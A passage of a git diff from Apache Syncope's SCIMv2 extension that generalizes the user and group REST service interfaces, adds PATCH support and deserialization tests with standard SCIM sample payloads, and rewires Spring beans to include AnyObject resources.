(ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.api.service; + +import javax.ws.rs.Path; +import org.apache.syncope.ext.scimv2.api.data.SCIMGroup; + +@Path("v2/Groups") +public interface SCIMGroupService extends SCIMResourceService { +} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/ReadService.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMResourceService.java similarity index 70% rename from ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/ReadService.java rename to ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMResourceService.java index 4762dd3b8a1..38c663ee126 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/ReadService.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMResourceService.java @@ -20,19 +20,24 @@ import javax.validation.constraints.NotNull; import javax.ws.rs.Consumes; +import javax.ws.rs.DELETE; import javax.ws.rs.GET; import javax.ws.rs.POST; +import javax.ws.rs.PUT; import javax.ws.rs.Path; import javax.ws.rs.PathParam; import javax.ws.rs.Produces; import javax.ws.rs.QueryParam; +import javax.ws.rs.core.Response; +import org.apache.cxf.jaxrs.ext.PATCH; import org.apache.syncope.ext.scimv2.api.SCIMConstants; import org.apache.syncope.ext.scimv2.api.data.ListResponse; +import org.apache.syncope.ext.scimv2.api.data.SCIMPatchOp; import org.apache.syncope.ext.scimv2.api.data.SCIMResource; import org.apache.syncope.ext.scimv2.api.data.SCIMSearchRequest; import org.apache.syncope.ext.scimv2.api.type.SortOrder; -public interface ReadService { +public interface SCIMResourceService { @GET @Path("{id}") @@ -57,4 +62,26 @@ ListResponse search( @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) ListResponse search(SCIMSearchRequest request); + + @POST + @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) + @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) + Response create(R resource); + + @PATCH + @Path("{id}") + @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) + @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) + Response update(@NotNull @PathParam("id") String id, SCIMPatchOp patch); + + @PUT + @Path("{id}") + @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) + @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) + Response replace(@NotNull @PathParam("id") String id, R resource); + + @DELETE + @Path("{id}") + @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) + Response delete(@NotNull @PathParam("id") String id); } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMUserService.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMUserService.java new file mode 100644 index 00000000000..d71c6bfcb56 --- /dev/null +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/SCIMUserService.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.api.service; + +import javax.ws.rs.Path; +import org.apache.syncope.ext.scimv2.api.data.SCIMUser; + +@Path("v2/Users") +public interface SCIMUserService extends SCIMResourceService { +} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/UserService.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/UserService.java deleted file mode 100644 index 62ddc21be1c..00000000000 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/service/UserService.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.ext.scimv2.api.service; - -import javax.validation.constraints.NotNull; -import javax.ws.rs.Consumes; -import javax.ws.rs.DELETE; -import javax.ws.rs.POST; -import javax.ws.rs.PUT; -import javax.ws.rs.Path; -import javax.ws.rs.PathParam; -import javax.ws.rs.Produces; -import javax.ws.rs.core.Response; -import org.apache.cxf.jaxrs.ext.PATCH; -import org.apache.syncope.ext.scimv2.api.SCIMConstants; -import org.apache.syncope.ext.scimv2.api.data.SCIMUser; - -@Path("v2/Users") -public interface UserService extends ReadService { - - @POST - @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) - @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) - Response create(SCIMUser user); - - @PATCH - @Path("{id}") - @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) - @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) - Response update(@NotNull @PathParam("id") String id); - - @PUT - @Path("{id}") - @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) - @Consumes({ SCIMConstants.APPLICATION_SCIM_JSON }) - Response replace(@NotNull @PathParam("id") String id, SCIMUser user); - - @DELETE - @Path("{id}") - @Produces({ SCIMConstants.APPLICATION_SCIM_JSON }) - Response delete(@NotNull @PathParam("id") String id); - -} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/type/PatchOp.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/type/PatchOp.java new file mode 100644 index 00000000000..d28c4964755 --- /dev/null +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/type/PatchOp.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.api.type; + +public enum PatchOp { + add, + replace, + remove; + +} diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/type/Resource.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/type/Resource.java index 7800b68d021..6882adff776 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/type/Resource.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/type/Resource.java @@ -25,9 +25,12 @@ public enum Resource { Schema("urn:ietf:params:scim:schemas:core:2.0:Schema"), User("urn:ietf:params:scim:schemas:core:2.0:User"), EnterpriseUser("urn:ietf:params:scim:schemas:extension:enterprise:2.0:User"), + ExtensionUser("urn:ietf:params:scim:schemas:extension:syncope:2.0:User"), Group("urn:ietf:params:scim:schemas:core:2.0:Group"), + ExtensionGroup("urn:ietf:params:scim:schemas:extension:syncope:2.0:Group"), SearchRequest("urn:ietf:params:scim:api:messages:2.0:SearchRequest"), ListResponse("urn:ietf:params:scim:api:messages:2.0:ListResponse"), + PatchOp("urn:ietf:params:scim:api:messages:2.0:PatchOp"), Error("urn:ietf:params:scim:api:messages:2.0:Error"); private final String schema; diff --git a/ext/scimv2/scim-rest-api/src/test/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOperationDeserializerTest.java b/ext/scimv2/scim-rest-api/src/test/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOperationDeserializerTest.java new file mode 100644 index 00000000000..668c9e5bcf8 --- /dev/null +++ b/ext/scimv2/scim-rest-api/src/test/java/org/apache/syncope/ext/scimv2/api/data/SCIMPatchOperationDeserializerTest.java @@ -0,0 +1,349 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.scimv2.api.data; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.SerializationFeature; +import com.fasterxml.jackson.databind.json.JsonMapper; +import java.util.List; +import org.apache.syncope.ext.scimv2.api.type.PatchOp; +import org.apache.syncope.ext.scimv2.api.type.Resource; +import org.junit.jupiter.api.Test; + +public class SCIMPatchOperationDeserializerTest { + + private static final JsonMapper MAPPER = JsonMapper.builder(). + findAndAddModules().disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS).build(); + + @Test + public void addMember() throws JsonProcessingException { + String input = + "{ " + + "\"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\":[" + + " {" + + " \"op\":\"add\"," + + " \"path\":\"members\"," + + " \"value\":[" + + " {" + + " \"display\": \"Babs Jensen\"," + + " \"$ref\": \"https://example.com/v2/Users/2819c223...413861904646\"," + + " \"value\": \"2819c223-7f76-453a-919d-413861904646\"" + + " }" + + " ]" + + " }" + + " ]" + + " }"; + + SCIMPatchOp scimPatchOp = MAPPER.readValue(input, SCIMPatchOp.class); + assertNotNull(scimPatchOp); + assertEquals(List.of(Resource.PatchOp.schema()), scimPatchOp.getSchemas()); + assertEquals(1, scimPatchOp.getOperations().size()); + + SCIMPatchOperation op = scimPatchOp.getOperations().get(0); + assertNotNull(op); + assertEquals(PatchOp.add, op.getOp()); + assertEquals("members", op.getPath().getAttribute()); + + assertEquals(1, op.getValue().size()); + + Member member = (Member) op.getValue().get(0); + assertEquals("Babs Jensen", member.getDisplay()); + assertEquals("https://example.com/v2/Users/2819c223...413861904646", member.getRef()); + assertEquals("2819c223-7f76-453a-919d-413861904646", member.getValue()); + } + + @Test + public void removeMembers() throws JsonProcessingException { + String input = + "{" + + " \"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\":[{" + + " \"op\":\"remove\"," + + " \"path\":\"members[value eq \\\"2819c223-7f76-...413861904646\\\"]\"" + + " }]" + + " }"; + + SCIMPatchOp scimPatchOp = MAPPER.readValue(input, SCIMPatchOp.class); + assertNotNull(scimPatchOp); + assertEquals(List.of(Resource.PatchOp.schema()), scimPatchOp.getSchemas()); + assertEquals(1, scimPatchOp.getOperations().size()); + + SCIMPatchOperation op = scimPatchOp.getOperations().get(0); + assertNotNull(op); + assertEquals(PatchOp.remove, op.getOp()); + assertEquals("members", op.getPath().getAttribute()); + assertEquals("value eq \"2819c223-7f76-...413861904646\"", op.getPath().getFilter()); + } + + @Test + public void removeAndAddMembers() throws JsonProcessingException { + String input = + "{ \"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [" + + " {" + + " \"op\":\"remove\"," + + " \"path\":" + + " \"members[value eq \\\"2819c223...919d-413861904646\\\"]\"" + + " }," + + " {" + + " \"op\":\"add\"," + + " \"path\":\"members\"," + + " \"value\": [" + + " {" + + " \"display\": \"Babs Jensen\"," + + " \"$ref\":\"https://example.com/v2/Users/2819c223...413861904646\"," + + " \"value\": \"2819c223-7f76-453a-919d-413861904646\"" + + " }," + + " {" + + " \"display\": \"James Smith\"," + + " \"$ref\":\"https://example.com/v2/Users/08e1d05d...473d93df9210\"," + + " \"value\": \"08e1d05d...473d93df9210\"" + + " }" + + " ]" + + " }" + + " ]" + + " }"; + + SCIMPatchOp scimPatchOp = MAPPER.readValue(input, SCIMPatchOp.class); + assertNotNull(scimPatchOp); + assertEquals(List.of(Resource.PatchOp.schema()), scimPatchOp.getSchemas()); + assertEquals(2, scimPatchOp.getOperations().size()); + + SCIMPatchOperation op = scimPatchOp.getOperations().get(0); + assertNotNull(op); + assertEquals(PatchOp.remove, op.getOp()); + assertEquals("members", op.getPath().getAttribute()); + assertEquals("value eq \"2819c223...919d-413861904646\"", op.getPath().getFilter()); + + op = scimPatchOp.getOperations().get(1); + assertNotNull(op); + assertEquals(PatchOp.add, op.getOp()); + assertEquals("members", op.getPath().getAttribute()); + + assertEquals(2, op.getValue().size()); + + Member member = (Member) op.getValue().get(0); + assertEquals("Babs Jensen", member.getDisplay()); + assertEquals("https://example.com/v2/Users/2819c223...413861904646", member.getRef()); + assertEquals("2819c223-7f76-453a-919d-413861904646", member.getValue()); + + member = (Member) op.getValue().get(1); + assertEquals("James Smith", member.getDisplay()); + assertEquals("https://example.com/v2/Users/08e1d05d...473d93df9210", member.getRef()); + assertEquals("08e1d05d...473d93df9210", member.getValue()); + } + + @Test + public void addAttributes() throws JsonProcessingException { + String input = + "{" + + " \"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [" + + " {" + + " \"op\": \"add\"," + + " \"value\": {" + + " \"emails\": [" + + " {" + + " \"value\": \"babs@jensen.org\"," + + " \"type\": \"home\"" + + " }" + + " ]," + + " \"nickName\": \"Babs\"" + + " }" + + " }" + + " ]" + + "}"; + + SCIMPatchOp scimPatchOp = MAPPER.readValue(input, SCIMPatchOp.class); + assertNotNull(scimPatchOp); + assertEquals(List.of(Resource.PatchOp.schema()), scimPatchOp.getSchemas()); + assertEquals(1, scimPatchOp.getOperations().size()); + + SCIMPatchOperation op = scimPatchOp.getOperations().get(0); + assertNotNull(op); + assertEquals(PatchOp.add, op.getOp()); + assertNull(op.getPath()); + + assertEquals(1, op.getValue().size()); + + SCIMUser user = (SCIMUser) op.getValue().get(0); + assertEquals("Babs", user.getNickName()); + + assertEquals(1, user.getEmails().size()); + + SCIMComplexValue email = user.getEmails().get(0); + assertEquals("home", email.getType()); + assertEquals("babs@jensen.org", email.getValue()); + } + + @Test + public void replaceMembers() throws JsonProcessingException { + String input = + " {" + + " \"schemas\":[\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [{" + + " \"op\":\"replace\"," + + " \"path\":\"members\"," + + " \"value\":[" + + " {" + + " \"display\": \"Babs Jensen\"," + + " \"$ref\": \"https://example.com/v2/Users/2819c223...413861904646\"," + + " \"value\": \"2819c223...413861904646\"" + + " }," + + " {" + + " \"display\": \"James Smith\"," + + " \"$ref\":\"https://example.com/v2/Users/08e1d05d...473d93df9210\"," + + " \"value\": \"08e1d05d...473d93df9210\"" + + " }" + + " ]" + + " }]" + + " }"; + + SCIMPatchOp scimPatchOp = MAPPER.readValue(input, SCIMPatchOp.class); + assertNotNull(scimPatchOp); + assertEquals(List.of(Resource.PatchOp.schema()), scimPatchOp.getSchemas()); + assertEquals(1, scimPatchOp.getOperations().size()); + + SCIMPatchOperation op = scimPatchOp.getOperations().get(0); + assertNotNull(op); + assertEquals(PatchOp.replace, op.getOp()); + assertEquals("members", op.getPath().getAttribute()); + + assertEquals(2, op.getValue().size()); + + Member member = (Member) op.getValue().get(0); + assertEquals("Babs Jensen", member.getDisplay()); + assertEquals("https://example.com/v2/Users/2819c223...413861904646", member.getRef()); + assertEquals("2819c223...413861904646", member.getValue()); + + member = (Member) op.getValue().get(1); + assertEquals("James Smith", member.getDisplay()); + assertEquals("https://example.com/v2/Users/08e1d05d...473d93df9210", member.getRef()); + assertEquals("08e1d05d...473d93df9210", member.getValue()); + } + + @Test + public void replaceAttribute() throws JsonProcessingException { + String input = + "{" + + " \"schemas\": [\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [{" + + " \"op\":\"replace\"," + + " \"path\":\"addresses[type eq \\\"work\\\"]\"," + + " \"value\":" + + " {" + + " \"type\": \"work\"," + + " \"streetAddress\": \"911 Universal City Plaza\"," + + " \"locality\": \"Hollywood\"," + + " \"region\": \"CA\"," + + " \"postalCode\": \"91608\"," + + " \"country\": \"US\"," + + " \"formatted\":\"911 Universal City Plaza\\nHollywood, CA 91608 US\"," + + " \"primary\": true" + + " }" + + " }]" + + " }"; + + SCIMPatchOp scimPatchOp = MAPPER.readValue(input, SCIMPatchOp.class); + assertNotNull(scimPatchOp); + assertEquals(List.of(Resource.PatchOp.schema()), scimPatchOp.getSchemas()); + assertEquals(1, scimPatchOp.getOperations().size()); + + SCIMPatchOperation op = scimPatchOp.getOperations().get(0); + assertNotNull(op); + assertEquals(PatchOp.replace, op.getOp()); + assertEquals("addresses", op.getPath().getAttribute()); + assertEquals("type eq \"work\"", op.getPath().getFilter()); + + assertEquals(1, op.getValue().size()); + + SCIMUser user = (SCIMUser) op.getValue().get(0); + + assertEquals(1, user.getAddresses().size()); + + SCIMUserAddress address = user.getAddresses().get(0); + assertEquals("work", address.getType()); + assertTrue(address.isPrimary()); + } + + @Test + public void replaceAttributeValue() throws JsonProcessingException { + String input = + "{" + + " \"schemas\": [\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [{" + + " \"op\":\"replace\"," + + " \"path\":\"addresses[type eq \\\"work\\\"].streetAddress\"," + + " \"value\":\"1010 Broadway Ave\"" + + " }]" + + " }"; + + SCIMPatchOp scimPatchOp = MAPPER.readValue(input, SCIMPatchOp.class); + assertNotNull(scimPatchOp); + assertEquals(List.of(Resource.PatchOp.schema()), scimPatchOp.getSchemas()); + assertEquals(1, scimPatchOp.getOperations().size()); + + SCIMPatchOperation op = scimPatchOp.getOperations().get(0); + assertNotNull(op); + assertEquals(PatchOp.replace, op.getOp()); + assertEquals("addresses", op.getPath().getAttribute()); + assertEquals("type eq \"work\"", op.getPath().getFilter()); + assertEquals("streetAddress", op.getPath().getSub()); + + assertEquals(1, op.getValue().size()); + + String value = (String) op.getValue().get(0); + assertEquals("1010 Broadway Ave", value); + } + + @Test + public void addAttributeValue() throws JsonProcessingException { + String input = + "{" + + " \"schemas\": [\"urn:ietf:params:scim:api:messages:2.0:PatchOp\"]," + + " \"Operations\": [{" + + " \"op\": \"Add\"," + + " \"path\": \"externalId\"," + + " \"value\": \"da91cb5d-addb-424f-aa41-799fda8658c3\"" + + " }" + + " ]" + + "}"; + + SCIMPatchOp scimPatchOp = MAPPER.readValue(input, SCIMPatchOp.class); + assertNotNull(scimPatchOp); + assertEquals(List.of(Resource.PatchOp.schema()), scimPatchOp.getSchemas()); + assertEquals(1, scimPatchOp.getOperations().size()); + + SCIMPatchOperation op = scimPatchOp.getOperations().get(0); + assertNotNull(op); + assertEquals(PatchOp.add, op.getOp()); + assertEquals("externalId", op.getPath().getAttribute()); + + assertEquals(1, op.getValue().size()); + + String value = (String) op.getValue().get(0); + assertEquals("da91cb5d-addb-424f-aa41-799fda8658c3", value); + } +} diff --git a/ext/scimv2/scim-rest-cxf/pom.xml b/ext/scimv2/scim-rest-cxf/pom.xml index 4ce8a26fa56..73ebc470d89 100644 --- a/ext/scimv2/scim-rest-cxf/pom.xml +++ b/ext/scimv2/scim-rest-cxf/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-scimv2 - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SCIMv2 SCIM REST CXF diff --git a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/SCIMExceptionMapper.java b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/SCIMExceptionMapper.java index 1ab41f09b76..8af56d716cb 100644 --- a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/SCIMExceptionMapper.java +++ b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/SCIMExceptionMapper.java @@ -53,19 +53,19 @@ @Provider public class SCIMExceptionMapper implements ExceptionMapper { - private static final Logger LOG = LoggerFactory.getLogger(SCIMExceptionMapper.class); + protected static final Logger LOG = LoggerFactory.getLogger(SCIMExceptionMapper.class); - private static Class ENTITYEXISTS_EXCLASS = null; + protected static Class ENTITYEXISTS_EXCLASS = null; - private static Class PERSISTENCE_EXCLASS = null; + protected static Class PERSISTENCE_EXCLASS = null; - private static Class ROLLBACK_EXCLASS = null; + protected static Class ROLLBACK_EXCLASS = null; - private static Class JPASYSTEM_EXCLASS = null; + protected static Class JPASYSTEM_EXCLASS = null; - private static Class CONNECTOR_EXCLASS = null; + protected static Class CONNECTOR_EXCLASS = null; - private static Class IBATISPERSISTENCE_EXCLASS = null; + protected static Class IBATISPERSISTENCE_EXCLASS = null; static { try { @@ -122,6 +122,14 @@ public Response toResponse(final Exception ex) { if (builder == null && ex instanceof ValidationException) { builder = builder(ClientExceptionType.RESTValidation, ExceptionUtils.getRootCauseMessage(ex)); } + // process requests for features not yet implemented + if (builder == null && ex instanceof UnsupportedOperationException) { + builder = Response.status(Response.Status.INTERNAL_SERVER_ERROR). + entity(new SCIMError( + ErrorType.invalidSyntax, + Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(), + ExceptionUtils.getRootCauseMessage(ex))); + } // ...or just report as InternalServerError if (builder == null) { builder = Response.status(Response.Status.INTERNAL_SERVER_ERROR). @@ -132,7 +140,7 @@ public Response toResponse(final Exception ex) { return Optional.ofNullable(builder).map(ResponseBuilder::build).orElse(null); } - private static ResponseBuilder processInvalidEntityExceptions(final Exception ex) { + protected ResponseBuilder processInvalidEntityExceptions(final Exception ex) { InvalidEntityException iee = null; if (ex instanceof InvalidEntityException) { @@ -173,7 +181,7 @@ private static ResponseBuilder processInvalidEntityExceptions(final Exception ex return null; } - private static ResponseBuilder processBadRequestExceptions(final Exception ex) { + protected ResponseBuilder processBadRequestExceptions(final Exception ex) { if (ex instanceof WorkflowException) { return builder(ClientExceptionType.Workflow, ExceptionUtils.getRootCauseMessage(ex)); } else if (PERSISTENCE_EXCLASS.isAssignableFrom(ex.getClass())) { @@ -195,7 +203,7 @@ private static ResponseBuilder processBadRequestExceptions(final Exception ex) { return null; } - private static ResponseBuilder builder(final ClientExceptionType hType, final String msg) { + protected ResponseBuilder builder(final ClientExceptionType hType, final String msg) { ResponseBuilder builder = Response.status(hType.getResponseStatus()); ErrorType scimType = null; diff --git a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/SCIMv2RESTCXFContext.java b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/SCIMv2RESTCXFContext.java index f50dce7ae3b..b51b4858ec8 100644 --- a/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/SCIMv2RESTCXFContext.java +++ b/ext/scimv2/scim-rest-cxf/src/main/java/org/apache/syncope/ext/scimv2/cxf/SCIMv2RESTCXFContext.java @@ -29,19 +29,23 @@ import org.apache.cxf.jaxrs.validation.JAXRSBeanValidationInInterceptor; import org.apache.cxf.transport.common.gzip.GZIPInInterceptor; import org.apache.cxf.transport.common.gzip.GZIPOutInterceptor; +import org.apache.syncope.core.logic.AnyObjectLogic; import org.apache.syncope.core.logic.GroupLogic; import org.apache.syncope.core.logic.SCIMDataBinder; import org.apache.syncope.core.logic.SCIMLogic; import org.apache.syncope.core.logic.UserLogic; import org.apache.syncope.core.logic.scim.SCIMConfManager; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; -import org.apache.syncope.ext.scimv2.api.service.GroupService; +import org.apache.syncope.ext.scimv2.api.service.SCIMAnyObjectService; +import org.apache.syncope.ext.scimv2.api.service.SCIMGroupService; import org.apache.syncope.ext.scimv2.api.service.SCIMService; -import org.apache.syncope.ext.scimv2.api.service.UserService; -import org.apache.syncope.ext.scimv2.cxf.service.GroupServiceImpl; +import org.apache.syncope.ext.scimv2.api.service.SCIMUserService; +import org.apache.syncope.ext.scimv2.cxf.service.SCIMAnyObjectServiceImpl; +import org.apache.syncope.ext.scimv2.cxf.service.SCIMGroupServiceImpl; import org.apache.syncope.ext.scimv2.cxf.service.SCIMServiceImpl; -import org.apache.syncope.ext.scimv2.cxf.service.UserServiceImpl; +import org.apache.syncope.ext.scimv2.cxf.service.SCIMUserServiceImpl; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.Bean; @@ -72,32 +76,34 @@ public AddETagFilter scimAddETagFilter() { @ConditionalOnMissingBean(name = "scimv2Container") @Bean public Server scimv2Container( - final ApplicationContext ctx, - final Bus bus, + final SCIMService scimService, + final SCIMGroupService scimv2GroupService, + final SCIMUserService scimv2UserService, + final SCIMAnyObjectService scimv2AnyObjectService, + final GZIPInInterceptor gzipInInterceptor, + final GZIPOutInterceptor gzipOutInterceptor, + final JAXRSBeanValidationInInterceptor validationInInterceptor, final JacksonJsonProvider scimJacksonJsonProvider, final SCIMExceptionMapper scimExceptionMapper, - final AddETagFilter scimAddETagFilter) { + final AddETagFilter scimAddETagFilter, + final Bus bus, + final ApplicationContext ctx) { SpringJAXRSServerFactoryBean scimv2Container = new SpringJAXRSServerFactoryBean(); scimv2Container.setBus(bus); scimv2Container.setAddress("/scim"); scimv2Container.setStaticSubresourceResolution(true); - scimv2Container.setBasePackages(List.of( - "org.apache.syncope.ext.scimv2.api.service", - "org.apache.syncope.ext.scimv2.cxf.service")); + scimv2Container.setProperties(Map.of("convert.wadl.resources.to.dom", "false")); - scimv2Container.setInInterceptors(List.of( - ctx.getBean(GZIPInInterceptor.class), - ctx.getBean(JAXRSBeanValidationInInterceptor.class))); + scimv2Container.setServiceBeans( + List.of(scimService, scimv2GroupService, scimv2UserService, scimv2AnyObjectService)); + + scimv2Container.setInInterceptors(List.of(gzipInInterceptor, validationInInterceptor)); - scimv2Container.setOutInterceptors(List.of( - ctx.getBean(GZIPOutInterceptor.class))); + scimv2Container.setOutInterceptors(List.of(gzipOutInterceptor)); - scimv2Container.setProviders(List.of( - scimJacksonJsonProvider, - scimExceptionMapper, - scimAddETagFilter)); + scimv2Container.setProviders(List.of(scimJacksonJsonProvider, scimExceptionMapper, scimAddETagFilter)); scimv2Container.setApplicationContext(ctx); return scimv2Container.create(); @@ -108,38 +114,63 @@ public Server scimv2Container( public SCIMService scimService( final UserDAO userDAO, final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, final UserLogic userLogic, final GroupLogic groupLogic, + final AnyObjectLogic anyObjectLogic, final SCIMDataBinder binder, final SCIMConfManager confManager, final SCIMLogic scimLogic) { - return new SCIMServiceImpl(userDAO, groupDAO, userLogic, groupLogic, binder, confManager, scimLogic); + return new SCIMServiceImpl(userDAO, groupDAO, anyObjectDAO, userLogic, groupLogic, anyObjectLogic, binder, + confManager, scimLogic); + } + + @ConditionalOnMissingBean + @Bean + public SCIMGroupService scimv2GroupService( + final UserDAO userDAO, + final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, + final UserLogic userLogic, + final GroupLogic groupLogic, + final AnyObjectLogic anyObjectLogic, + final SCIMDataBinder binder, + final SCIMConfManager confManager) { + + return new SCIMGroupServiceImpl(userDAO, groupDAO, anyObjectDAO, userLogic, groupLogic, anyObjectLogic, binder, + confManager); } @ConditionalOnMissingBean @Bean - public GroupService scimv2GroupService( + public SCIMUserService scimv2UserService( final UserDAO userDAO, final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, final UserLogic userLogic, final GroupLogic groupLogic, + final AnyObjectLogic anyObjectLogic, final SCIMDataBinder binder, final SCIMConfManager confManager) { - return new GroupServiceImpl(userDAO, groupDAO, userLogic, groupLogic, binder, confManager); + return new SCIMUserServiceImpl(userDAO, groupDAO, anyObjectDAO, userLogic, groupLogic, anyObjectLogic, binder, + confManager); } @ConditionalOnMissingBean @Bean - public UserService scimv2UserService( + public SCIMAnyObjectService scimv2AnyObjectService( final UserDAO userDAO, final GroupDAO groupDAO, + final AnyObjectDAO 